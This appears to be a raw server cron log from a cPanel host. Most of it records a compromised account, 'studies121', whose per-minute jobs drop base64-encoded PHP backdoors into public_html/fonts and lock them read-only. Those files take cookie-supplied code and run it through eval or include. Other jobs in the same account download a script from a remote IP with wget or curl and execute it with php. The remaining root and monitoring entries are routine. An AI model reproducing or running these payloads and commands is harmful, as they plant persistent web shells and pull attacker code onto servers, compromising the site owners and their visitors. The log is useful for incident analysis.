Sep 12 09:56:01 ip-184-168-122-23 CROND[5851]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 09:56:01 ip-184-168-122-23 CROND[5852]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 09:56:01 ip-184-168-122-23 CROND[5849]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 09:56:01 ip-184-168-122-23 CROND[5850]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 09:57:02 ip-184-168-122-23 CROND[5950]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 09:57:02 ip-184-168-122-23 CROND[5949]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 09:57:02 ip-184-168-122-23 CROND[5951]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 09:57:02 ip-184-168-122-23 CROND[5948]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 09:58:01 ip-184-168-122-23 CROND[6044]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 09:58:01 ip-184-168-122-23 CROND[6045]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 09:58:01 ip-184-168-122-23 CROND[6048]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 09:58:01 ip-184-168-122-23 CROND[6050]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 09:58:01 ip-184-168-122-23 CROND[6053]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 09:59:01 ip-184-168-122-23 CROND[6132]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 09:59:02 ip-184-168-122-23 CROND[6134]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 09:59:02 ip-184-168-122-23 CROND[6135]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 09:59:02 ip-184-168-122-23 CROND[6137]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 10:00:01 ip-184-168-122-23 CROND[6235]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 10:00:01 ip-184-168-122-23 CROND[6239]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 10:00:01 ip-184-168-122-23 CROND[6241]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 10:00:01 ip-184-168-122-23 CROND[6243]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 10:00:01 ip-184-168-122-23 CROND[6238]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 10:00:01 ip-184-168-122-23 CROND[6242]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 10:00:01 ip-184-168-122-23 CROND[6240]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep 12 10:00:01 ip-184-168-122-23 CROND[6250]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 10:00:01 ip-184-168-122-23 CROND[6248]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 10:01:01 ip-184-168-122-23 CROND[6435]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 10:01:01 ip-184-168-122-23 CROND[6437]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 10:01:01 ip-184-168-122-23 CROND[6440]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 10:01:01 ip-184-168-122-23 CROND[6439]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 10:01:01 ip-184-168-122-23 CROND[6441]: (root) CMD (run-parts /etc/cron.hourly)
Sep 12 10:01:01 ip-184-168-122-23 CROND[6442]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 10:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[6441]: starting 0anacron
Sep 12 10:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[6457]: finished 0anacron
Sep 12 10:02:01 ip-184-168-122-23 CROND[6565]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 10:02:01 ip-184-168-122-23 CROND[6567]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 10:02:01 ip-184-168-122-23 CROND[6568]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 10:02:01 ip-184-168-122-23 CROND[6569]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 10:02:01 ip-184-168-122-23 CROND[6570]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 10:03:01 ip-184-168-122-23 CROND[6680]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 10:03:01 ip-184-168-122-23 CROND[6682]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 10:03:01 ip-184-168-122-23 CROND[6681]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 10:03:02 ip-184-168-122-23 CROND[6684]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 10:04:01 ip-184-168-122-23 CROND[6768]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 10:04:01 ip-184-168-122-23 CROND[6772]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 10:04:01 ip-184-168-122-23 CROND[6773]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 10:04:01 ip-184-168-122-23 CROND[6771]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 10:04:01 ip-184-168-122-23 CROND[6770]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 10:05:01 ip-184-168-122-23 CROND[6860]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 10:05:01 ip-184-168-122-23 CROND[6862]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 10:05:01 ip-184-168-122-23 CROND[6865]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 10:05:01 ip-184-168-122-23 CROND[6866]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 10:05:01 ip-184-168-122-23 CROND[6864]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 10:05:01 ip-184-168-122-23 CROND[6867]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 10:05:01 ip-184-168-122-23 CROND[6863]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 10:06:01 ip-184-168-122-23 CROND[7032]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 10:06:01 ip-184-168-122-23 CROND[7034]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 10:06:01 ip-184-168-122-23 CROND[7035]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 10:06:01 ip-184-168-122-23 CROND[7033]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 10:06:01 ip-184-168-122-23 CROND[7037]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 10:07:02 ip-184-168-122-23 CROND[7135]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 10:07:02 ip-184-168-122-23 CROND[7136]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 10:07:02 ip-184-168-122-23 CROND[7137]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 10:07:02 ip-184-168-122-23 CROND[7138]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 10:08:01 ip-184-168-122-23 CROND[7213]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 10:08:01 ip-184-168-122-23 CROND[7215]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
